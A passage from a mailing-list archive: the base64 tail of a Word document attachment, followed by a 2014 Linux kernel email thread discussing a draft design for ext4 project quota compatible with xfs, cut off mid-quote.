AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAP7/AAAFAQIAAAAAAAAAAAAAAAAAAAAAAAIAAAAC 1c3VnC4bEJOXCAArLPmuRAAAAAXVzdWcLhsQk5cIACss+a4wAQAA7AAAAAwA AAABAAAAaAAAAA8AAABwAAAABQAAAIAAAAAGAAAAiAAAABEAAACQAAAAFwAA AJgAAAALAAAAoAAAABAAAACoAAAAEwAAALAAAAAWAAAAuAAAAA0AAADAAAAA DAAAAM0AAAACAAAA5AQAAB4AAAAIAAAAbWlyYWNsZQADAAAAEQAAAAMAAAAE AAAAAwAAAGoJAAADAAAAAAAMAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAAsA AAAAAAAAHhAAAAEAAAABAAAAAAwQAAACAAAAHgAAAAYAAABUaXRsZQADAAAA AQAAAADAAAAAAwAAAAAAAAAgAAAAAQAAADgAAAACAAAAQAAAAAEAAAACAAAA DAAAAF9QSURfSExJTktTAAIAAADkBAAAQQAAAHgAAAAGAAAAAwAAACkACQAD AAAAAAAAAAMAAAAAAAAAAwAAAAUAAAAfAAAAIAAAAG0AYQBpAGwAdABvADoA TQByAGUAZAB3AGEAcgBkAGUAZABpAHMAbwBuAEAAZwBtAGEAaQBsAC4AYwBv AG0AAAAfAAAAAQAAAAAA2AYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAMAAAAEAAAABQAAAAYAAAAHAAAA CAAAAAkAAAAKAAAACwAAAAwAAAANAAAADgAAAP7///8QAAAAEQAAABIAAAAT AAAAFAAAABUAAAAWAAAAFwAAABgAAAAZAAAAGgAAABsAAAAcAAAA/v///x4A AAAfAAAAIAAAACEAAAAiAAAAIwAAACQAAAD+////JgAAACcAAAAoAAAAKQAA ACoAAAArAAAALAAAAP7////9////LwAAAP7////+/////v////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// /////////////////////////////////////////////1IAbwBvAHQAIABF AG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAWAAUB//////////8DAAAABgkCAAAAAADAAAAAAAAARgAAAAAA AAAAAAAAABCPlrXCHM8BMQAAAIAAAAAAAAAAMQBUAGEAYgBsAGUAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA4AAgH/////BQAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAPAAAAcxoAAAAAAABXAG8AcgBkAEQAbwBjAHUAbQBlAG4AdAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgACAQEA AAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA0HAAAAAAAAAUAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQA aQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIBAgAAAAQAAAD/ ////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQAAAAAQ AAAAAAAABQBEAG8AYwB1AG0AZQBuAHQAUwB1AG0AbQBhAHIAeQBJAG4AZgBv AHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAADgAAgH///////////////8AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlAAAAABAAAAAAAAAB AEMAbwBtAHAATwBiAGoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAEgACAP///////////////wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB5AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/v////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// /////////////////////////////////////////////////////wEA/v8D CgAA/////wYJAgAAAAAAwAAAAAAAAEYnAAAATWljcm9zb2Z0IE9mZmljZSBX b3JkIDk3LTIwMDMgRG9jdW1lbnQACgAAAE1TV29yZERvYwAQAAAAV29yZC5E b2N1bWVudC44APQ5snEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA ---1206156689-1865227473-1390984949=:39187-- From jack@suse.cz Wed Jan 29 04:54:01 2014 Return-Path: <jack@suse.cz> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 091C47F90 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 04:54:01 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 68184AC004 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 02:53:57 -0800 (PST) X-ASG-Debug-ID: 1390992833-04cbb05bab1dec70001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id wMHYYcG5ZqC0bcWj (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 02:53:54 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 350D7AC56; Wed, 29 Jan 2014 10:53:53 +0000 (UTC) Received: by quack.suse.cz (Postfix, from userid 1000) id A60D680EA0; Wed, 29 Jan 2014 11:53:51 +0100 (CET) Date: Wed, 29 Jan 2014 11:53:51 +0100 From: Jan Kara <jack@suse.cz> To: Zheng Liu <gnehzuil.liu@gmail.com> Cc: Jan Kara <jack@suse.cz>, linux-ext4 <linux-ext4@vger.kernel.org>, linux-fsdevel <linux-fsdevel@vger.kernel.org>, xfs@oss.sgi.com, Theodore Ts'o <tytso@mit.edu>, Andreas Dilger <adilger.kernel@dilger.ca>, Dmitry Monakhov <dmonakhov@openvz.org>, Li Xi <pkuelelixi@gmail.com>, Dave Chinner <david@fromorbit.com>, Ben Myers <bpm@sgi.com> Subject: Re: [RFC] A draft for making ext4 support project quota Message-ID: <20140129105351.GA8749@quack.suse.cz> X-ASG-Orig-Subj: Re: [RFC] A draft for making ext4 support project quota References: <20140128064248.GA8653@gmail.com> <20140128143514.GB13676@quack.suse.cz> <20140129034824.GA12757@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140129034824.GA12757@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1390992833 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144600 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Wed 29-01-14 11:48:25, Zheng Liu wrote: > On Tue, Jan 28, 2014 at 03:35:14PM +0100, Jan Kara wrote: > > On Tue 28-01-14 14:42:49, Zheng Liu wrote: > > > Hi all, > > > > > > Here is a draft about ext4 project quota. After discussed in another > > > thread [1], I believe that we have reached a consensus for supporting > > > project quota in ext4 and keep consistency with xfs. Thus I write this > > > draft. As always, comments, suggestions and ideas are welcome. > > > > > > 1. http://www.spinics.net/lists/linux-ext4/msg41275.html > > > > > > Ext4 Project Quota (ver. 0.10) > > > > > > Goal > > > ==== > > > > > > The goal is to make ext4 support project quota which keeps the same > > > behaviour with xfs. After adding this new feature, we can support > > > directory quota based on it. > > > > > > Background > > > ========== > > > > > > The project quota is a quota mechanism can be used to implement a form > > > of directory tree quota, where a specified directory and all of the > > > files and subdirectories below it (i.e. a tree) can be restricted to > > > using a subset of the available space in the filesystem [2]. > > > > > > *Note* > > > Project quota is not directory quota. Project quota is an aggregation > > > of unrelated inodes with the same id (e.g. project id). That means that > > > some directories without the common parent directory could have the same > > > id and are accounted as the same quota. > > > > > > Currently xfs has supported project quota several years, and has a mature > > > interface to manage project quota on kernel and userspace side. After > > > discusstion we believe that we should use the same quota API for project > > > quota on ext4. Now xfs_quota (userspace tool for managing xfs quota) is > > > used to get/set/check project id, which communicates with kernel via > > > ioctl(2). For quota management, xfs_quota uses Q_X* via quotactl(2) to > > > manipulate quota. A XFS_DIFLAG_PROJINHERIT flag is defined in xfs to > > > mark a directory that new file and direcotry created in this directory > > > will get marked with this flag. > > > > > > For project quota, the key issue is how to handle link(2)/rename(2). We > > > summarize the behaviour in xfs as following. > > > > > > *Note* > > > + unaccounted dir > > > x accounted dir > > > > > > link(2) > > > ------- > 